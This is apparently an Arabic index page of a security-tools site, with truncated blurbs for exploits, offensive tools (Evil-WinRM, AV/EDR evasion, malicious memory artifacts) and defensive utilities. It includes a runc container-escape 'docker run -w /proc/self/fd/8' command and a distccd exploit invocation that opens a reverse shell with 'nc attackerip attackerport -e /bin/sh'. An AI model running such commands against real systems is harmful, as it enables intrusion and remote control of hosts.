CVE-2021-22204

ثغرة تنفيذ التعليمات البرمجية عن بُعد في ExifTool من المفترض أن يكون هذا مقال تحليل لـ CVE-2021-22204، لكنه أشبه بدفتري ملاحظات، مكتوب فيه الكثير من الأشياء الفوضوية. قد تكون المقالة ثرثارة بالنسبة لتحليل الثغرات، لكنني تعلمت الكثير منها. بصراحة، لم أستخدم هذه الأداة من قبل، ولم أتعامل تقريبًا مع...

CVE-2024-21626

CVE-2024-21626 للحصول على شرح مفصل لهذه الثغرة، يُرجى الرجوع إلى مقالتي. الاستغلال الاستغلال عبر تشغيل حاوية لا حاجة لبناء صورة مخصصة، فقط قم بتشغيل حاوية باستخدام الوسيط -w: root@kitploit: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm الاستغلال عبر تنفيذ أمر داخل...

vc5

VC5 يتم حالياً تحديث ملف README هذا ليعكس التغييرات الأخيرة - قد لا تعكس بعض المعلومات قاعدة الشيفرة الحالية. هذا الإصدار من الشيفرة ليس جاهزاً بعد للاستخدام الإنتاجي - استخدم إصدار v0.2 للإنتاج موازن تحميل من الطبقة الرابعة L4LB قابل للتوسع أفقياً مع إرجاع الخادم المباشر DSR لنظام Linux باستخدام...

hermes-osint

هيرميس OSINT v3.0 🏛️🧠 محلل OSINT وكيل تحقيقات تعتمد على الذكاء الاصطناعي التحادثي. لغة طبيعية. نتائج خبيرة. 🤖✨ ما الجديد في الإصدار v3.0 🎉 يمثل Hermes 3.0 تحولًا جذريًا من التنسيق القائم على الأنابيب إلى منصة تحقيقات تعتمد على الذكاء الاصطناعي التحادثي. مدعومًا بنماذج LLM محلية عبر Ollama، أصبح...

op4

op4 — مراسل طرفي آمن Op4 هو تطبيق مراسلة مشفر يعمل في الطرفية، مكتوب بلغة Rust. يوفر رسائل خاصة مشفرة من طرف إلى طرف باستخدام تشفير ما بعد الكم، ويتم توجيهها بالكامل عبر شبكة Tor بحيث لا يتم كشف محتوى رسائلك أو عنوان IP الخاص بك لأي شخص — ولا حتى الشخص الذي تتحدث معه. جدول المحتويات 1. ما يفعله o...

evil-winrm

Evil-WinRM الصدفة المثلى لـ WinRM للاختراق/الاختبار الأمني الوصف والغرض هذه الصدفة هي الصدفة المثلى لـ WinRM للاختراق/الاختبار الأمني. WinRM الإدارة عن بُعد لنظام ويندوز هو تطبيق مايكروسوفت لبروتوكول WS-Management. وهو بروتوكول قياسي يعتمد على SOAP يسمح للأجهزة وأنظمة التشغيل من بائعين مختلفين...

arp-validator

مدقق-arp أداة أمنية لاكتشاف هجمات تسمم ARP الميزات يستخدم نهجًا أسرع في اكتشاف هجمات تسمم ARP مقارنة بالنهج السلبية لا يكتشف وجود تسمم ARP فحسب، بل أيضًا تعيين IP-MAC صالح عندما تستخدم مضيفات LAN مكدس شبكة غير مخصص يخزن المضيف الذي تم التحقق منه لتحسين السرعة يعمل كعملية خلفية دون التدخل في حركة...

cynative

ابنِ وكلاء الأمان الخاصين بك إطار عمل مفتوح المصدر لوكلاء الأمان مع وصول مباشر للقراءة فقط إلى البنية التحتية الخاصة بك. بدء سريع · وكيلك الأول · الوثائق اسأل بنيتك التحتية عن أي شيء. يشغّل Cynative نماذج متطورة عبر الكود والسحابة وبيئة التشغيل الخاصة بك - مع التفكير عبر GitHub وGitLab وAWS وGCP...

CVE-2026-43499-aristotle-apk

تمكين ADB لجهاز Aristotle تطبيق Android صغير يقوم بتشغيل ADB على au/KDDI Xiaomi "aristotle" XIG04, Android 12 الذي لا يمكن الوصول إلى خيارات المطور فيه، وذلك باستخدام صلاحية مؤقتة تم الحصول عليها من CVE-2026-43499. إنها أداة مملوكة للجهاز في نفس فئة KingRoot: تقوم بتجذير هاتفك الخاص لتغيير إعداد...

wprecon

WPRecon أداة قوية لاستطلاع ومسح الثغرات الأمنية في ووردبريس، تعمل بواسطة القوالب Templates الميزات • التثبيت • الاستخدام • الهيكلة • القوالب 📋 نظرة عامة WPRecon هي أداة حديثة لاستطلاع أمن ووردبريس مبنية بلغة Go، تساعد مهندسي الأمن في تحديد الثغرات الأمنية، والأخطاء في التهيئة، ومشكلات كشف المعلوم...

artifacts-kit

. . / || |/ / | | | ||/ | \ \ \ \ \ / \ | |/ / \ / | | /| | | || | / \ | | | | | | ||| / / / / حزمة توليد القطع الأثرية للذاكرة الخبيثة الإصدار 1.0 | فورست أور | 2020 مطلوب --alloc-type dll-map-hollow|dll-load-hollow|txf-dll-map-hollow|private|mapped اختياري --payload-file --payload-type...

filtron

Filtron بروكسي HTTP عكسي لتصفية الطلبات وفق قواعد مختلفة. يمكن استخدامه بين خادم الويب الإنتاجي وخادم التطبيق لمنع إساءة استخدام الخلفية الخلفية للتطبيق. كان الغرض الأصلي من هذا البرنامج هو الدفاع عن searx، ولكنه يمكن استخدامه لحماية أي تطبيق ويب. التثبيت والإعداد root@kitploit: $ go install...

BLAKE3

BLAKE3 BLAKE3 هي دالة تجزئة تشفيرية تتميز بما يلي: أسرع بكثير من MD5 وSHA-1 وSHA-2 وSHA-3 وBLAKE2. آمنة ، على عكس MD5 وSHA-1. وآمنة ضد تمديد الطول، على عكس SHA-2. قابلة للتوازي بشكل كبير عبر أي عدد من الخيوط ومسارات SIMD، لأنها شجرة Merkle من الداخل. قادرة على البث المُتحقق والتحديثات التدريجية ،...

aether

Aether الإصدار : 0.9 إصدار مستقر Aether هي أداة لتحليل الذاكرة الجنائي وصيد التهديدات لنظام Windows، تقوم بمسح ذاكرة العمليات الحية بحثًا عن أنماط خبيثة، وتكتشف تقنيات الحقن، وتوقيعات البرامج الضارة، وتجميعات .NET المحملة انعكاسيًا. تعمل الأداة بنموذج ثقة متعدد الطبقات يقلل بشكل كبير من معدل...

ShellGhost

ShellGhost تقنية تهرب قائمة على الذاكرة تجعل الشيل كود غير مرئي من بداية العملية إلى نهايتها. الدافع أردت مشاركة هذا الإثبات النظري للحقن الذاتي للشيل كود لعرض بعض مفاهيم التهرب من برامج مكافحة الفيروسات وEDR التي قد تكون مفيدة للفريق الأحمر. قبل بضعة أسابيع فقط، توصلت إلى تقنية تهرب مخصصة في...

CVE-2019-0232

CVE-2019-0232 — ثغرة تنفيذ الأوامر عن بعد في Apache Tomcat CGI Servlet إثبات مفهوم تعليمي مخصص لمسابقات CTF واختبار الاختراق المصرح به فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. نظرة عامة على الثغرة CVE-2019-0232 هي ثغرة تنفيذ أوامر عن بعد في Apache...

distccd_rce_CVE-2004-2687

هدف هذا النص البرمجي هو عدم استخدام Metasploit والقيام بذلك يدويًا. الاستخدام: root@kitploit: nc -lvnp 4466 تشغيل الاستغلال: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

buyer-eval-skill

تقييم المشتري — Rotten Tomatoes لبرامج الأعمال B2B مهارة كلود مجانية ومفتوحة المصدر تُقيّم بائعي B2B من خلال التحدث مع وكلائهم الذكاء الاصطناعي، ومقارنة كل ادعاء بمصادر مستقلة، وتقييم ما تم التحقق منه مقابل ما هو مجرد تسويق متفائل. الجديد في v3.5 — يتم الآن تسجيل أسئلة البائعين حتى عند عدم وجود...

external_expat-2.1.0_CVE-2022-43680

Expat ، الإصدار 2.1.0 هذه هي Expat ، مكتبة C لتحليل XML، كتبها جيمس كلارك. Expat محلل XML موجه نحو التدفق. وهذا يعني أنك تسجل معالجات مع المحلل قبل بدء التحليل. يتم استدعاء هذه المعالجات عندما يكتشف المحلل الهياكل المرتبطة في المستند الذي يتم تحليله. العلامة الافتتاحية هي مثال على نوع الهياكل الت...

ctftools

قاعدة أدوات CTF تويتر: @hydr0nium التبعيات: sudo apt install python2 التثبيت: git clone https://github.com/white-hood/ctftools.git cp .ctftools cd /bin ln -s ctftools /path/to/ctftools.py الاستخدام: ./ctftools | الاستخدام العادي ./ctftools --remove | إزالة الأداة من قاعدة البيانات ./ctftools --ad...